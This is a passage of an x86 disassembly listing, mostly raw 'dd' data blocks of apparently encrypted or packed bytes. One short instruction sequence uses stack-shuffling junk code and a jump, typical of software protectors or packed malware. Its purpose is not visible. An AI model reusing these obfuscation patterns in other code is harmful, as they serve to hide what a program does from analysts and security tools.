32B58930h, 0DF0432EEh, 0E9516129h dd 0Ch, 4E223B3Fh dd 46D054C6h, 511B3F47h, 6E9h, 75B8AA00h, 529ED2C7h, 15C38060h dd 9E9h, 0A4AB5C00h, 640E6904h, 0F961D026h, 0E8h, 0EA815A00h dd 628EAE9h, 4880FF8h, 60000000h, 0F616160h, 0A85h, 5E900h dd 32690000h, 52CCDAFEh, 12E9h, 0BBA60300h, 820E1F68h dd 398DB3BEh, 9526A3ABh, 8B887451h, 22003982h, 108C0F06h dd 0E9000000h, 0Bh, 0EB80364Dh, 544725C1h, 0B9AF2B23h dd 41C64E6Dh, 0C8E0Fh, 7E90000h, 95000000h, 0BECEBD15h dd 0E1F7E9E7h, 0CF8B6660h, 66605A61h, 6663C0B8h, 61945CBBh dd 303905h, 0FF25F900h, 0F97FFFFFh, 398289F9h, 0E9062200h dd 0Ch, 933C80D1h, 17526C7Fh, 9DC7B63Dh, 0E959FC5Ah, 14h dd 0C92E63DAh, 2374422Dh, 33FA330Bh, 0E2ACF63Bh, 0BA8D1ABFh dd 10E9C3h, 0EB160000h, 0F856E10Fh, 263C05E8h, 65D40F38h dd 0F51BF45h, 189h, 6052FC00h, 128C0Fh, 0DE90000h, 28000000h dd 820C3CCBh, 126980C4h, 0CB7E636Ah, 0E8FC61h, 5A000000h dd 0EBE7EA81h, 80600628h, 870F5FEEh, 0Bh, 6E9h, 8B0DBC00h dd 61B3C3BAh, 14E9F8h, 1BEE0000h, 263751D6h, 0DBE55331h dd 74E24B7Dh, 0A5B9AC83h, 0C88B1031h, 0E8E0Fh, 9E90000h dd 0CA000000h, 54E352E0h, 1699AB9Fh, 0FFFE79E8h, 0D233F5FFh dd 12830Fh, 8F0F0000h, 0Ch, 7E9h, 0B2B82100h, 0FC9B0645h dd 8BFCF1F7h, 0E08160C2h, 46EE54D5h, 820F5A61h, 0Ah, 0E8816660h dd 0B70F2443h, 605961FFh, 2ADF8166h, 0C361FC91h, 0C0B70F60h dd 0FE9h, 0DA198900h, 6D8B6E6Dh, 0C9145695h, 3D104B1Bh dd 60C08B61h, 13E9h, 669F7900h, 90B2A570h, 946B632Dh, 999C219Eh dd 178D7A1h, 0FC08B61h, 186h, 858DF900h, 628B234h, 0FD0FFF8h dd 1B83h, 15870F00h, 0E9000000h, 10h, 0E9C3F8C7h, 948666DDh dd 1E04038Bh, 0A9B7C3h, 8800Fh, 8B0F0000h, 2, 8B666160h dd 10E9C1h, 6A4C0000h, 7913F1Dh, 267BDBBBh, 62973AFDh dd 858DC3B9h, 628EAB2h, 558589F5h, 0F9062216h, 0EBBE858Dh dd 8A0F0628h, 16h, 11E9h, 8681B200h, 0BB6707CDh, 0ACF5F4FBh dd 0D5DB7DEBh, 8589E95Dh, 6222819h, 382DBE60h, 0B866062Eh dd 606133A2h, 68D0Fh, 0D9810000h, 31AD719Bh, 0B861h, 8A0F0000h dd 12h, 0C860Fh, 7E90000h, 1D000000h, 835DB707h, 0C00B2767h dd 13F840Fh, 57600000h, 8D0Fh, 665B0000h, 5812D881h, 985C661h dd 56062233h, 0BF0F5760h, 8B6659C3h, 0DF6861DFh, 0FA9C530h dd 0E8Ch, 9E900h, 0D2DB0000h, 0E4CBF04Ah, 0FF11DE3Fh, 222649B5h dd 0F60F806h, 8Fh, 11BF6600h, 858D61BFh, 6257DBEh, 88A0Fh dd 880F0000h, 2, 0D0FF6160h, 11E9h, 48877A00h, 0EAE498FFh dd 4BA77F94h, 964B61ACh, 0F50CB99h, 0C85h, 6860F00h, 0F000000h dd 86h, 0D18D8D00h, 0E9062206h, 6, 0A33F5F77h, 0FC513FDAh dd 800F046Ah, 9, 66595660h, 888DC881h, 10006861h, 0F600000h dd 38Eh, 0CBBF0F00h, 6161F860h, 118DB5FFh, 14E90622h, 0CD000000h dd 75197A46h, 2E7BA36Eh, 0DFF83371h, 79A00FC4h, 0FF18C359h dd 0BD8BF8D0h, 622118Dh, 0DE9h, 556C5800h, 81234A37h, 0C691BC85h dd 7F03D0E5h, 0C781F93Ch, 0F8h, 0F830FF5h, 0E9000000h dd 0Ah, 0C13481D0h, 0B8D16F58h, 47C75142h, 2024h, 168C0F60h dd 0E9000000h, 11h, 3C8997E7h, 9D7BC8CAh, 0BE788E17h, 9F102E9h dd 0AD9D8DB4h, 60062210h, 6E9E58Ah, 0FD000000h, 189387ABh dd 38B61E6h, 188B0Fh, 880F0000h, 12h, 0DE9h, 56083900h dd 4535D941h, 0E796E1CFh, 0C00B8A71h, 1E840Fh, 8BF90000h dd 12E900h, 643D0000h, 2BA2718Fh, 0E8925E6Ch, 0CCB0665Fh dd 5DE26A0Bh, 0F8044389h, 234CF6B9h, 238D8D00h, 890628F0h dd 2233F18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 152F0BCFh, 0C19834Fh, 0BF0FB249h dd 0E58589D3h, 0C7062207h, 222D3185h, 5EB806h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0C607366Ah, 6A77C683h, 0CE9h, 0AD99E000h, 0E27565C4h dd 157FD26Eh, 907BADFh, 85C73C8Ah, 62230E5h, 0 dd 0C8A0Fh, 8B600000h, 22318D95h, 45B96606h, 0B5FF61C2h dd 622140Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 43C35141h, 0BE6324A9h, 42AFB398h, 10E9h, 4140300h dd 39386059h, 0E88A7D68h, 0C7FC5AA7h, 6595FF33h, 6A062220h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 12ADC357h, 0B6A0A626h, 95FF006Ah, 6223075h dd 58EBC08Bh, 0B556D4EAh, 0B6CE257Eh, 0DA8EE952h, 6167CBCh dd 287E6E96h, 4961BA91h, 1024C83Dh, 0BF0755FCh, 0BBF471E9h dd 0D92B85B6h, 17E79EFh, 0B19B4188h, 4A4C8BFFh, 8E3F942Ah dd 76EF70D0h, 2A458E1Ah, 930C5B65h, 4F77914Fh, 6FB759D5h dd 0B2BB8066h, 28758B56h, 0C9D18EEEh, 7E8h, 0A93C1600h dd 1139832Fh, 0EE9h, 51FC2C00h, 25624BFDh, 0B029467Ah dd 5A25CFC9h, 2C8DB589h, 0C2810622h, 59A6h, 1B719D89h dd 43BE0622h, 60000016h, 3159858Bh, 8B610622h, 6800F3Ah dd 2B000000h, 2226618Dh, 0ADF78106h, 532E464Eh, 5BBBD880h dd 5373EF81h, 8D3117F7h, 62202A5h, 7FCDF781h, 0B9525E04h dd 69428487h, 81665758h, 8F23B3E0h, 9958902h, 8106221Dh dd 883FB9EAh, 0B9952914h, 81062232h, 883FB5C2h, 419D8B14h dd 4E062201h, 0FFA1850Fh, 89B9FFFFh, 8D58C372h, 28F1F28Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 45DCB42Dh, 0C1BE2080h, 8D892782h, 62233F1h dd 0A5E88166h, 3185C783h, 6406222Dh, 0BB00005Ah, 55C4BB69h dd 0D8B70F52h, 0E585C75Eh, 62230h, 80000000h, 0F48002E7h dd 4DB5FF18h, 6A06222Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 2981C353h, 0A8AA4129h dd 0E8CDA16Fh, 0FD7BF0Fh, 68Eh, 95858B00h, 0FF062221h dd 22206595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 2E12E538h, 29D36FAAh, 220545BDh dd 0B5B53106h, 6A062224h, 7595FF00h, 8B062230h, 0B26BEBC0h dd 7D447F7Bh, 0B4887ECEh, 19F38389h, 0BDCFD19Ch, 0E7135270h dd 0A6C600A4h, 8E0B9040h, 25C7CE24h, 6EA3F34Dh, 79184C21h dd 31006521h, 4771065h, 0D8E7F712h, 0D73B3254h, 0E56BD222h dd 0C46238A3h, 0F2B08CE0h, 25BADD55h, 4FA80AC2h, 3D5CD6DCh dd 786CCD7Dh, 4D88FDFCh, 88AB5018h, 5C0CF6DBh, 2BBDA0F3h dd 46113E31h, 8D8D5AB6h, 628F339h, 34999D8Bh, 950B0622h dd 6221F55h, 33F18D89h, 0DF810622h, 13BF24F4h, 2D3185C7h dd 657C0622h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 186FA9C3h, 13E8h, 0A4968C00h, 9DA11F41h dd 0A5D573B5h, 0C9FFFF45h, 6CDE004Ch, 2D398589h, 0C75B0622h dd 2230E585h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 77EA9987h, 0FFDEBF0Fh dd 221281B5h, 59BD0B06h, 0FF062210h, 22206595h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 2D105B09h, 669E99E3h, 0B40EF681h, 19C59533h, 6A0622h dd 307595FFh, 0C08B0622h, 0ABC02FEBh, 0D2E4C098h, 2B82DD2Dh dd 60EC430Ch, 75B66B95h, 33B97275h, 35C4FDA0h, 478EAC42h dd 7D564C37h, 42653B58h, 2E42EFFCh, 96952D5Ah, 10E873h dd 0DA740000h, 9FB6057Ah, 21F8CDDh, 0AA5AED17h, 858965D3h dd 6222489h, 14E85Eh, 0F9A20000h, 8B3862A4h, 0D43EAA47h dd 0DF4AAB5Ah, 3B9966E6h, 8B60B5F4h, 221B61BDh, 815F6106h dd 6692C6h, 1E85B900h, 686C6Ch, 0FC000000h, 3D8D8958h dd 0FF06221Dh, 0BF0F3034h, 0D7815BFAh, 5DA9010Ah, 2520C381h dd 9D891FB4h, 6220F21h, 4BD2EB81h, 0FBB17CBAh, 7E11EB81h dd 0BD337591h, 6222A11h, 6048F53h, 0DC3203B9h, 9E94Fh dd 0DE2A0000h, 3EEAB696h, 810E9114h, 0CFE182E8h, 0FABF0F67h dd 0E17EC081h, 950367CFh, 6222575h, 9A20F881h, 850FFFFFh dd 0FFFFFF9Bh, 6E8h, 280C2200h, 803F1F9Fh, 8B5A41C1h, 222FC19Dh dd 0CBC28106h, 3000068h, 22114DBDh, 1A12BE06h, 0BB660000h dd 32FFB0EAh, 85BD8B56h, 59062220h, 9E7EBB58h, 0C0814A28h dd 834ECF9h, 81C9BF0Fh, 41B236F0h, 0DE8B664Eh, 8F94C081h dd 50F55378h, 0AF0BBF66h, 8E8028Fh, 0AE000000h, 0BBD29258h dd 601AEFE4h, 860Fh, 0BB660000h, 5961FF87h, 8004EA83h dd 0EE8121F5h, 1, 0FFA4850Fh, 8D8BFFFFh, 6220571h, 0F54D8D8Dh dd 6A0628h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 1F4AEBC3h, 0D3D4FD30h, 8A61626Fh, 0F18D89D5h dd 66062233h, 8C17C881h, 2D3185C7h, 6C0C0622h, 0BD890000h dd 6221069h, 30E585C7h, 622h, 0B58B0000h, 622308Dh, 8E1BD0Bh dd 0B5FF0622h, 6221AB5h, 0FFDEE080h, 22206595h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 364F177h, 10A9858Bh, 6A0622h, 307595FFh, 0C08B0622h dd 0F3921BEBh, 0B314B01Eh, 0C4A39163h, 0A1E90F03h, 9AF91047h dd 0F1ABF736h, 2E96C670h, 8E966h, 80BD0000h, 5BB7h, 6CE90000h dd 68000004h, 628F661h, 0F98D5AE9h, 0F6C568FFh, 50E90628h dd 68FFF98Dh, 628F841h, 0F98D46E9h, 98A3EAFFh, 0C3B4071h dd 74D3BCE5h, 0DA65141Dh, 43008EB3h, 0D51EDE28h, 4E739AA9h dd 0BBE40F3Ch, 161B72CDh, 4BB2DD66h, 0CE2A7E2Eh, 0BCF4112h dd 3807771Bh, 0D9A1EEEBh, 84F4396Ah, 1D2478BBh, 5BBDD46Fh dd 0F13E5BA8h, 6D6CB08Bh, 18376CBFh, 0F92A8149h, 183F1B2Bh dd 8794E541h, 0DB1A4BF8h, 153CBC85h, 4BD1D758h, 2C27Dh dd 0FCD3A500h, 7394DB88h, 0B6EA5926h, 28AEC9A3h, 8A874918h dd 2E1B3902h, 923DEF8Fh, 0A495FEE6h, 220760AFh, 4A9BA4D5h dd 0A853F52Bh, 954A9FB1h, 0DC97F526h, 99BA7297h, 7640B1FCh dd 0A7D52247h, 1764759Ch, 0E2A9E661h, 8AF23F65h, 0D0EC9B1h dd 1E2FEC0Fh, 2FD03h, 0DC671600h, 40FF8CB5h, 0A897F829h dd 1E295041h, 87C4CAF7h, 115A1A6Ch, 8AB7DE6Dh, 0E7284300h dd 525FB691h, 0FF6112Ah, 0CD66B26Ah, 0C78B4112h, 64AB585Fh dd 660F6903h, 8B224922h, 0EE5D216Eh, 57F49A87h, 99DB7606h dd 503C975Bh, 65B695F9h, 0F6B6BD46h, 0EF05C9F4h, 8677DAACh dd 0D9EAF5B2h, 29946h, 70CBB200h, 0E4632819h, 4CFB848Dh dd 0B28DFC25h, 1B28565Bh, 0BDF6F6F0h, 161B72D1h, 838CE764h dd 0FE234AF5h, 935AB58Eh, 0CD0256C6h, 23F74112h, 64AB58C3h dd 660F6903h, 0BDFA4922h, 22172D1h, 0BE6E63DEh, 4112CE6Ah dd 0CEB5C557h, 55584112h, 5D8EC1ECh, 12CE7F8Fh, 0A0D88141h dd 0CAE2F469h, 1A1C14Bh, 8FF40000h, 12C6CD1Dh, 9EA9D041h dd 9A112E4Dh, 577AE46h, 0B8C4E93Ah, 5F14648Fh, 0D835A8AAh dd 0B7F65C98h, 0B344552h, 14459BDAh, 18A6AB98h, 0EC317C49h dd 0CD531EE7h, 0E0CC089Bh, 0EDDAEABCh, 0BD244118h, 159143Bh dd 4A7C4BD1h, 17000000h, 87D46F1Ah, 0E5241F6Ah, 0AB58E7BFh dd 89F60364h, 164A69BAh, 412629C3h, 0A4174918h, 77051277h dd 4B8AB9C2h, 31237315h, 4A3E4118h dd 8FACF1h, 5AD71243h, 0C972061Eh, 0A265984h, 6BE6294Fh dd 4E4BD1D1h, 0C7h, 3A0577D4h, 1587ECE9h, 473A3BC5h, 125F8528h dd 618EDF6Ch, 0E2C7201Bh, 3A3BFE0Ah, 0AE99E347h, 0AA013E7Dh dd 0E5325776h, 4970AC97h, 3A4EDE43h, 0DF473A3Bh, 5DE693DCh dd 0A9E6F31Ah, 603A66E5h, 473A378Eh, 0C72E1963h, 6CD7A5F2h dd 0E62D2630h, 0BDEB5C81h, 76CE4774h, 454B0BE8h, 7454DAB8h dd 73449E28h, 0D0DD491Eh, 2C4F9CABh, 0FF8F8CEDh, 96F82940h dd 7A72C1A9h, 0AAFBF5B5h, 11D57h, 0FC473600h, 60DFAC95h dd 0C8771809h, 3E0970A1h, 0A7A4EAD7h, 317A7A4Ch, 0AA97FE4Dh dd 70863E0h, 72BFD671h, 2FD6310Ah, 0C386D24Ah, 0A76B4112h dd 3807777Fh, 859CE0D1h, 15460188h, 3BF206D6h, 9427473Ah dd 77603A55h, 0C4E93A05h, 4DFA81B8h, 739ADD18h, 0CC2D7261h dd 180BBF50h, 6C139049h, 3E7B9CDFh, 898F350h, 41186AE4h dd 4FA893F9h, 0DD0E3D42h, 1001429Eh, 9CABDF6Eh, 9BE32C4Fh dd 0FD3C7FACh, 9451A8h, 5FBD0000h, 9586E5E6h, 2A76078Eh dd 8BEC3320h, 22F6BB11h, 8B614649h, 4113BD7Fh, 0A2D61B92h dd 0EFCE7B99h, 300B71BEh, 9BA4E8D9h, 7783197Eh, 9A4113BDh dd 0ECB8CD13h, 0F5FB770Bh, 6ABB84F4h, 0DA0B3445h, 0F92D4BB6h dd 0A282E673h, 190661DAh, 0EE107273h, 0F721F780h, 3778BB88h dd 6ABBFA45h, 0EE0B3445h, 396AD9A1h, 973840DCh, 0DEDD24F3h dd 1024419Fh, 0BC050761h, 0FDF381BFh, 0CAF72D5Eh, 96E79C2h dd 96C7800Ch, 9CE00957h, 3EF72A3h, 57000000h, 67773CBh dd 0B9C3E83Dh, 68105D8Eh, 19618EDFh, 0CAB4F92Ah, 7B03287Dh dd 27529FCCh, 0DDA2CF1Ch, 8BF03D6Eh, 68696FBCh, 7CF8h dd 68241C89h, 516Dh db 89h, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push ebx mov ebx, 628F59Dh mov edx, ebx mov ebx, [esp] add esp, 4 push esp mov ebp, [esp] add esp, 4 push edx pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_502B27 ; --------------------------------------------------------------------------- dw 23F3h dd 692CD4B8h, 792B706h, 0B8A9F1A2h, 628F983h, 0E0FFC503h dd 3D25761Ah, 194C88Fh, 5F3F51D7h, 3B65806h, 18FA0E85h dd 58FE53FBh, 1713246Eh, 5C94CA09h, 2F0F0FBBh, 6F403FB5h dd 543FF9C1h, 3F1C934Fh, 1B0939FFh, 5E774F99h, 4BBA96F2h dd 54524B84h, 1AED9CD9h, 3883F6D2h, 48A89FF0h, 1D912A23h dd 240C25E7h, 1BE93AB4h, 764CBB6Eh, 5DC2FECh, 5748A0DDh dd 6A07BB0Bh, 517CDFA5h, 6E0CF3FBh, 707B044Eh, 1D369EFDh dd 0CE8h, 15F54F00h, 0FD1DB01Dh, 0DFEA313Fh, 58F0FC6h dd 0BB000000h, 26B4AB55h, 13E959h, 0F6960000h, 69DF891h dd 6B0CD3A3h, 27C437CFh, 7780D209h, 75C18174h, 8A000059h dd 0FF633C1h, 18Ch, 34FFF500h, 0BF66600Eh, 61FC45E5h, 99C2815Ah dd 812AEA70h, 0C4605ADBh, 3DEA8116h, 66764E59h, 0EA81DF8Bh dd 21AB4898h, 0AAA0BF66h, 66311489h, 880FDF8Bh, 1, 0B2EE81F8h dd 8A7D15A4h, 0AEC681F9h, 0F7D15A4h, 81h, 68FE8100h, 0FFFFFA7h dd 3B85h, 890F6000h, 6, 7402DE81h, 0BE820CEh, 6B000000h dd 12F17D59h, 2C033342h, 2ABEEAEEh, 5E09D701h, 20E961h dd 2DA50000h, 430D84E6h, 0AF816DFFh, 9F714218h, 0CF3F5BEEh dd 0E951E780h, 0FFFFFF66h, 0E523CE08h, 24E98FABh, 5C000000h dd 205B5Fh, 7 dup(0) dd 0E9000000h, 0B91h, 28FD2B68h, 52F7E906h, 2168FFFAh dd 0E90628FEh, 0FFFA52EDh, 28FFFB68h, 52E3E906h, 6368FFFAh dd 0E9062901h, 0FFFA52D9h, 29030168h, 52CFE906h, 9B68FFFAh dd 0E9062904h, 0FFFA52C5h, 29057068h, 52BBE906h, 1E61FFFAh dd 0EE320FDFh, 0BEC65BE3h, 878E932Bh, 4955A872h, 0DE1FFA80h dd 6E3CBDC1h, 0A4468F93h, 0F38B5A59h, 0CDE236Eh, 0D6E1E870h dd 5ACD61CCh, 92916CFCh, 0CD72450Ch, 6BB6CD61h, 0A7FB76DCh dd 0C099975Ah, 9E6E3CC1h, 44F0FD03h, 63DC27EFh, 0E22566F5h dd 805F2872h, 0BAE1D3BAh, 0B521D9ACh, 0ACBAF9DCh, 0E4E239D9h dd 0EABC4F62h, 8CB85734h, 0AC263201h, 0D9B585D9h, 206D58ABh dd 5C4BCB1Fh, 0BF9BF7B6h, 2480D9EDh, 0A2E779D0h, 0A7FDBFA4h dd 0ABDC0B2Eh, 45100FD9h, 3D1CFD9h, 25100ED2h, 99000000h dd 0EB7370D1h, 0ACD1F4E2h, 66AB34D9h, 0FB96AD9Bh, 0D271404Dh dd 8DC2D9ACh, 113A6007h, 0D9FB0ED1h, 0E000000h, 6C7D7AAh dd 7C113D0Ah, 0E57CA835h, 0DE45099h, 0BB43F904h, 0C897A22Bh dd 8C9BD38Ah, 0BD6170B3h, 4E1CE120h, 8ACCFE07h, 0F4F938D3h dd 0EB76C656h, 56ED5BA6h, 8ACD2A0Dh, 1333EED3h, 5CAE337Eh dd 0BDA7A530h, 2D7D7h, 2F3CE56Eh, 0AEF24FDFh, 0F45EF523h dd 0AD1DFFEDh, 6E403D9h, 1DFCDFB6h, 0E13CD9ADh, 1E694C05h dd 72A9D9ADh, 269B70D0h, 38512105h, 0D9AD1E1Dh, 0B540441Dh dd 3D54341Eh, 0DFD1DDDFh, 9B66C423h, 0A0B04A93h, 40ED3DDh dd 0BC844549h, 0BA12A10Ch, 34AE2CE2h, 8C000009h, 5DA07A83h dd 61FC8E53h, 2934D623h, 0F04D19ECh, 0FA9F2FAEh, 0D9206E71h dd 0E3F2300Dh, 34BDC65Bh, 7B868B96h, 460F1FA3h, 0CD61CB73h dd 0A7EE5BB7h, 69F49657h, 5C01A528h, 0EB7370D1h, 0ACD1F4E2h dd 33E934D9h, 0ACD28352h, 19A3F4D9h, 1970C050h, 0D9ACD23Eh dd 1B3E27C2h, 1FD9ACD2h, 0E5B04142h, 11316F39h, 0C3F00ED1h dd 79000000h, 38CDD7AAh, 0B73A471Ah, 1210ED79h, 54FE55C3h dd 967475B9h, 0C86C4F06h, 71ACD38Ah, 71B213ADh, 8BD38ACCh dd 53A37B86h, 1032C7CEh, 73A9347Dh, 28322F90h, 0ACE7CBA1h dd 0AD04FD9h, 7D81E041h, 0DC6BC07Ch, 0A4E8074Eh, 0B228DFD1h dd 0D1A500DBh, 0FDE500DFh, 279B4B3Dh, 2707D20Fh, 78C7CA57h dd 0A07FB538h, 0EEF73C15h, 2665A924h, 0B94C49DEh, 1936E2h dd 0EB40FC01h, 6BB38E5Ch, 36308262h, 5CD2BA13h, 83E7Eh dd 70798600h, 844957AAh, 0CC191BE6h, 17E2233Eh, 25A4EA77h dd 647BC481h, 360BD31Ah, 0FC41E5ECh, 819C2EB7h, 15A97D80h dd 0CA795C35h, 51B9CD61h, 9657A7E4h, 0A52869F4h, 5AA75C01h dd 0C7A6B1D8h, 0BF6AD38Ah, 7B871AE0h, 7FD2BE6Ah, 0C8981B15h dd 10AE7403h, 11B53879h, 46A4C57Ah, 0AC1EA90Fh, 86B269D9h dd 835BA6EBh, 92DD73BEh, 0C09BF25Eh, 40D9AC7Bh, 340BDA5h dd 0BD201CABh, 60F1F8B7h, 7B12E27Ah, 60F1F960h, 7067F6A0h dd 854ED2FBh, 46B4E0EEh, 1E08B52Ah, 8DE99334h, 50AD7984h dd 0AF8AC351h, 7360F251h, 0A22319B4h, 60F25294h, 236FF280h dd 7DC966D2h, 0F2524114h, 0F85AC160h, 484925AFh, 51B883CAh dd 0EF7860F2h, 0F4835E9Fh, 387BC656h, 7EA473A9h, 0E5539EE3h dd 0F251D6F8h, 0E993B660h, 0AD79848Dh, 8AC35150h, 60F251AFh dd 2319B473h, 98627F20h, 2EF4FD05h, 6541D7BEh, 5AC16714h dd 5556CB80h, 0F89161F1h, 671464DDh, 755CC65Dh, 6D366653h dd 9EF248D7h, 910D1D0Dh, 58163CB3h, 36275F75h, 1A98996Dh dd 36276873h, 0A67DA86Dh, 50CE6E6Ah, 0EEF68500h, 4BC11411h dd 0C27F0590h, 9315A5BDh, 0DF633E9Ch, 3F7D0288h, 867B4723h dd 41Ch, 0E999B66h, 0F523FE03h, 31C4C15Eh, 0BE62CFBh, 53CC7C98h dd 0BF9DF456h, 43D9ACFAh, 0A73707A4h, 0ACFB0B2Eh, 32100FD9h dd 0BBCDCCABh, 829F005Ah, 0F44BD1B8h, 50CF60DDh, 71BD00E4h dd 0E041AA68h, 0EF177BC3h, 0CFF02153h, 7A13F353h, 67040919h dd 0A8380219h, 24BCDD5h, 67040937h, 9B912CFBh, 6433C6CEh dd 51DE23BEh, 0B08BC250h, 70670408h, 0BB431EB5h, 0AE965BA6h dd 252CF436h, 64444AC8h, 5C000006h, 6DF08A53h, 310CDE23h dd 0F944E6F3h, 809D29BCh, 2AAF7F7Eh, 0E9F03E21h, 33C2C05Dh dd 448D966Bh, 8B565BA6h, 0B6DF2FF3h, 0CD61C8A3h, 0D13E8B67h dd 0E2EB7370h, 0D9ACD654h, 0C5D2EFE3h, 0A9C23C0Eh, 978D5050h dd 26FD9AB8h, 8D121FEAh, 6AC17F86h, 868861DFh, 0F530C947h dd 0D8AC34E0h, 73C8B61Bh, 0D379A835h, 0E4D8E3EAh, 0CD58D9ACh dd 0D07AAD36h, 0B311E5E9h, 676376BEh, 0EE34CB49h, 793C9C05h dd 0E34C69FBh, 0C957594Ch, 1DC5EE9h, 4C1BEA28h, 0F79E6EFEh dd 0D9AD78E4h, 4C55F924h, 0DFCF87E6h, 0D22FFF2Ah, 7B1602CFh dd 0CA7DAB36h, 0D9055438h, 6AA62F74h, 0C7B7B5DDh, 1DC2160h dd 9389AC25h, 9289DFCFh, 0C6D17B0h, 9302D5BCh, 0F53CDFCFh dd 54FE25E8h, 0D17578B9h, 0AE501987h, 0E72BB608h, 72450C1Eh dd 0B6DFCF8Fh, 0A955AB6Bh, 0DC000002h, 0EB7370D1h, 0B3C32EE2h dd 0D737F2D9h, 81BF4A4Ah, 65F868AAh, 8A3C6319h, 8CF66354h dd 6404D7BEh, 1904D9B3h, 0A94F842h, 100C04BAh, 0A5B595B9h dd 1E0ADBD8h, 3E401D01h, 0E79CB6FDh, 0E33A234Fh, 7E5AD66Dh dd 91A6E128h, 8827F20Ah, 0F9A3DEB2h, 4495967h, 557D601Eh dd 0E2D9B310h, 43C3161Fh, 5831838Eh, 0D9B3107Dh, 69CB66BDh dd 0B07DF3E3h, 0FC81170Dh, 0C4000004h, 956832BBh, 59A4468Bh dd 61FC8E5Bh, 2835D124h, 8247E7E6h, 9158A6B9h, 0DB2A68F5h dd 0ECF53E03h, 33BEC35Eh, 1E77D76Bh, 0CD61C73Bh, 0D1A613FFh dd 0E2EB7370h, 0D9B3C32Eh, 0E43A78C5h, 0B3C2CAEDh, 4D34ED9h dd 76A2791Eh, 0B34B969Bh, 0B8D163AEh, 0D9B3C39Dh, 0E4B52256h dd 8F827FE1h, 9C61C590h, 46DD4B92h, 0FA58A9E9h, 9964AD44h dd 666AF8A3h, 525F1330h, 5CBA918Fh, 0E72F3502h, 535E1AA0h dd 0F4AAFC8Eh, 3D0ECA3Dh, 1A4h, 975AA744h, 0E5E42AB7h dd 0A7EA8739h, 2DB0805Ah, 582C18E1h, 8AC82631h, 603FEAD3h dd 0FBE859A2h, 50E9363h, 0D36E73BEh, 7D44CE65h, 0D9ACD133h dd 4FD228F7h, 0DC92B045h, 0ACD0E2F1h, 780255D9h, 0D28A131h dd 0DD9ACD1h, 249A0C16h, 0ED0ED10Eh, 55h, 3C70D174h, 0A59362A1h dd 0C872458Eh, 6BB6D38Ah, 63FE4EDCh, 4392901Bh, 63A37ED5h dd 0ACD25C1Ah, 0E541DCD9h, 53C91C18h, 0D1F7C28Bh, 0EC3BD9ACh dd 0AB33CD51h, 0D1A7B2DBh, 0FE6BD9ACh, 5BF02CB5h, 183F868Ch dd 6BD9ACD2h, 9309AE54h, 520ED111h, 0AFh, 0CED7AAE7h, 0B7D79388h dd 0A570D905h, 34AD06Fh, 0D38A0238h, 6CE12DF8h, 956CD825h dd 3DD44089h, 0A633E9F4h, 9DF4965Bh, 0D38A0684h, 0DC6E73BEh dd 8D998A37h, 681543Dh, 9A81D38Ah, 0C8A128B8h, 48D9AEC3h dd 0AAF449DDh, 0F45EF523h, 72C88414h, 2956D42Ah, 0C0CE8383h dd 8E906D39h, 0DC7DE54Fh, 9D93B076h, 35E3Fh, 9059A600h dd 0A42977CAh, 0ECF93B06h, 37C2C35Eh, 45848A97h, 41B24A1h dd 0D62BF3FAh, 9C6105CCh, 0A1BC4E97h, 35C99D60h, 0C599BCD5h dd 0B199CD61h, 9657A7C4h, 0E72869F4h, 0E9BD489Dh, 0F5C08919h dd 35D38AC7h, 0AAC924EEh, 44988226h, 64AEC9BDh, 0EF25A8E9h dd 38C20F12h, 69FDEE53h, 0AC229260h, 8DC496D9h, 0D9AC21AAh dd 20B1F16Eh, 1B734D95h, 5358282Dh, 30058884h dd 0E4D9AC83h, 88392BD1h, 2CCA839Bh, 0DBDFCE96h, 8F0CD1B7h dd 79A5073Ah, 0C6BB43DEh, 81245AA7h, 73701145h, 31C84413h dd 0B259EDF0h, 6933AF0Dh, 5C1131D5h, 0E22CA581h, 26D9ACD0h dd 979E63FBh, 26FD0000h, 3FF15DEAh, 0ACD17F56h, 1478F0D9h dd 0C1F177A1h, 24ADF6BEh, 78028589h, 9B62AC31h, 43AFEDBBh dd 25760ED0h, 0FB000000h, 0EB7370D1h, 0ACD1F4E2h, 33E934D9h dd 0ACD28352h, 19A3F4D9h, 32C7CD50h, 1108B610h, 0DBC90ED1h dd 50000000h, 4C9D7AAh, 7E133308h, 0E772AE33h, 64F45697h dd 4499C99h, 0D38AC831h, 56E82AF1h, 5AD876BBh, 0DB79FC86h dd 0F8918F5Ah, 7F9634B9h, 0D38A8426h, 3E0CD1D0h, 841427AEh dd 0E32ED38Ah, 615221Eh, 1BEB3B1Bh, 0AB6B7E86h, 5AA4EB36h dd 806DCE20h, 0CE6501F0h, 0F22EC552h, 95FCB011h, 0D389D6C2h dd 0DAFD9446h, 5ED389D6h, 8D9934C3h, 0ABE546C4h, 8F5FCAD9h dd 0FC4E5BC4h, 0D0A4EE95h, 17F732DFh, 0A145848Ah, 0A98B525Ch dd 0BA10684Fh, 0C46D63A1h, 3C000001h, 0CD50EAF3h, 916C3EC3h dd 59A44693h, 60FD895Ch, 4A0FDF1Eh, 49909E81h, 9362A0BDh dd 0A42D76CBh, 0EBF63B06h, 0D6BF8F53h, 0CD61C403h, 0A75E2B07h dd 64F49657h, 0D3499C99h, 0FE03DE44h, 54E1F240h, 